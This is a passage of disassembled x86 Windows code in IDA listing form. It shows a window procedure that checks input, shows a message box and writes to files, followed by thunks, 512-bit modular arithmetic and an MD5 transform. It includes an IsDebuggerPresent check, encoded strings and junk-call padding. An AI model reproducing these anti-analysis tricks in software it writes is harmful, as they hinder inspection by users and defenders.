loc_40B932:				; CODE XREF: sub_40B3E8+58Cj
		movzx	eax, byte ptr [ebp+var_238+3]
		movsx	eax, [ebp+eax+var_100]
		movzx	edx, [ebp+var_101]
		movsx	edx, [ebp+edx+var_100]
		cmp	eax, edx
		jnz	short loc_40B976
		add	byte ptr [ebp+var_238+3], 1


loc_40B95B:				; CODE XREF: sub_40B3E8+548j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh


loc_40B964:				; CODE XREF: sub_40B3E8+581j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B964
		movzx	esi, byte ptr [ebp+var_238+3]
		cmp	esi, eax
		jb	short loc_40B932


loc_40B976:				; CODE XREF: sub_40B3E8+56Aj
		call	sub_40C734	; GetCurrentProcessId
		movzx	eax, byte ptr [ebp+var_238+3]
		movzx	edx, [ebp+var_101]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_40B9B8
		add	[ebp+var_101], 1


loc_40B997:				; CODE XREF: sub_40B3E8+524j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh


loc_40B9A0:				; CODE XREF: sub_40B3E8+5BDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B9A0
		movzx	esi, [ebp+var_101]
		cmp	esi, eax
		jb	loc_40B911
		jmp	short loc_40BA1F
; ---------------------------------------------------------------------------


loc_40B9B8:				; CODE XREF: sub_40B3E8+49Aj
					; sub_40B3E8+4C7j ...
		mov	eax, dword_43C094
		add	eax, 7CBh
		push	eax
		call	sub_40CBD8
		call	sub_40C740	; GetCurrentThreadId
		push	35h
		push	offset byte_446AD1
		call	sub_40129C
		mov	[ebp+var_238], eax
		push	13h
		push	offset byte_446ABD
		call	sub_40129C
		add	esp, 14h
		push	0
		push	eax
		mov	edi, [ebp+var_238]
		push	edi
		push	0
		call	sub_40CA10	; MessageBoxA
		call	sub_40C7C4	; GetTickCount
		push	ds:dword_41E8BC
		call	sub_40C9D4	; SetFocus
		mov	eax, dword_446AA2
		mov	[ebp+var_121], eax
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40BA1F:				; CODE XREF: sub_40B3E8+5CEj
		push	5
		push	offset dword_446B2C
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		call	sub_40C734	; GetCurrentProcessId
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_41FA00
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_110], eax
		lea	edi, [ebp+var_124]
		lea	esi, word_446AA6
		mov	ecx, 3
		rep movsb
		push	2
		push	0
		push	0
		push	[ebp+var_110]
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp+var_22F]
		or	eax, 0FFFFFFFFh


loc_40BA9F:				; CODE XREF: sub_40B3E8+6BCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BA9F
		push	0
		lea	esi, [ebp+var_234]
		push	esi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		mov	[ebp+var_103], 87h
		movzx	eax, [ebp+var_103]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_103], al
		push	2
		push	offset asc_446ABA ; "ÙÞ"
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_234]
		push	edi
		mov	edi, 14h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		mov	ax, word_446AA9
		mov	[ebp+var_126], ax
		push	[ebp+var_110]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		push	ds:dword_41FB04
		call	sub_40CAC4	; DestroyWindow
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40F1E0
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_110], eax
		push	2
		push	0
		push	0
		push	[ebp+var_110]
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7D0	; GetVersion
		lea	ecx, byte_433FE0
		or	eax, 0FFFFFFFFh


loc_40BB77:				; CODE XREF: sub_40B3E8+794j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BB77
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_234]
		push	esi
		push	edi
		push	offset byte_433FE0
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_12B]
		lea	esi, byte_446AAB
		mov	ecx, 5
		rep movsb
		push	1
		push	offset asc_446AB8 ; "Ô"
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_234]
		push	edi
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		push	[ebp+var_110]
		call	sub_40C7AC	; CloseHandle
		push	5
		push	ds:dword_41D89C
		call	sub_40CAAC	; ShowWindow
		lea	edi, [ebp+var_130]
		lea	esi, aV@zc	; "v@zc"
		mov	ecx, 5
		rep movsb
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------


loc_40BC0A:				; CODE XREF: sub_40B3E8+2Bj
					; sub_40B3E8+47j ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CADC	; DefWindowProcA
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------
		call	sub_40C7C4	; GetTickCount


loc_40BC22:				; CODE XREF: sub_40B3E8+19Aj
					; sub_40B3E8+1E1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B3E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC2C	proc near		; CODE XREF: sub_406D2E+32p
					; sub_406D2E+42p
		jmp	ds:dword_448340
sub_40BC2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC38	proc near		; CODE XREF: sub_40523D+D4p
		jmp	ds:dword_44834C
sub_40BC38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC44	proc near		; CODE XREF: sub_40523D+161p
		jmp	ds:dword_448350
sub_40BC44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC50	proc near		; CODE XREF: sub_40696D+5Fp
		jmp	ds:dword_44835C
sub_40BC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC5C	proc near		; CODE XREF: sub_40696D+39p
		jmp	ds:dword_448360
sub_40BC5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC68	proc near		; CODE XREF: sub_40696D+26p
		jmp	ds:dword_448364
sub_40BC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC74	proc near		; CODE XREF: sub_406911+52p
		jmp	ds:dword_448368
sub_40BC74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC80	proc near		; CODE XREF: sub_408741+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_447B7C
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_40BD4B
		xor	edx, edx


loc_40BCB0:				; CODE XREF: sub_40BC80+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_40BCC2
		mov	edx, [ebp+arg_4]
		call	sub_40BCDC


loc_40BCC2:				; CODE XREF: sub_40BC80+38j
		lea	edx, dword_447B7C
		call	sub_40BCDC
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_40BCB0
		popa
		pop	ebp
		retn	10h
sub_40BC80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BCDC	proc near		; CODE XREF: sub_40BC80+3Dp
					; sub_40BC80+48p
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_447B7C
		call	sub_40BD4B


loc_40BCF6:				; CODE XREF: sub_40BCDC+5Dj
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax


loc_40BD03:				; CODE XREF: sub_40BCDC+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_40BD03
		call	sub_40BD5C
		bt	dword_447B7C, ebx
		jnb	short loc_40BD38
		mov	esi, edx
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h


loc_40BD27:				; CODE XREF: sub_40BCDC+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD27
		call	sub_40BD5C


loc_40BD38:				; CODE XREF: sub_40BCDC+3Aj
		dec	ebx
		jns	short loc_40BCF6
		mov	edi, edx
		lea	esi, dword_447B3C
		mov	ecx, 10h
		rep movsd
		retn
sub_40BCDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD4B	proc near		; CODE XREF: sub_40BC80+29p
					; sub_40BCDC+15p
		mov	ebx, 1FFh


loc_40BD50:				; CODE XREF: sub_40BD4B+Bj
		bt	[edi], ebx
		jb	short locret_40BD58
		dec	ebx
		jnz	short loc_40BD50

locret_40BD58:				; CODE XREF: sub_40BD4B+8j
		retn
sub_40BD4B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BD5C	proc near		; CODE XREF: sub_40BCDC+2Ep
					; sub_40BCDC+57p
		lea	esi, dword_447B3C
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_40BD6A:				; CODE XREF: sub_40BD5C+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_40BD93
		ja	short loc_40BD77
		dec	ecx
		jns	short loc_40BD6A


loc_40BD77:				; CODE XREF: sub_40BD5C+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h


loc_40BD87:				; CODE XREF: sub_40BD5C+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD87

locret_40BD93:				; CODE XREF: sub_40BD5C+14j
		retn
sub_40BD5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD94	proc near		; CODE XREF: sub_40BDE5+32p
					; sub_40BDE5+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_40BD94	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDA1	proc near		; CODE XREF: sub_40BDE5+219p
					; sub_40BDE5+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_40BDA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDAE	proc near		; CODE XREF: sub_40BDE5+420p
					; sub_40BDE5+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_40BDAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDB5	proc near		; CODE XREF: sub_40BDE5+627p
					; sub_40BDE5+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_40BDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDBE	proc near		; CODE XREF: sub_408779+A8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_40BDBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDE5	proc near		; CODE XREF: sub_408779+C5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_447BBC, eax
		mov	eax, [edi+4]
		mov	dword_447BC0, eax
		mov	eax, [edi+8]
		mov	dword_447BC4, eax
		mov	eax, [edi+0Ch]
		mov	dword_447BC8, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
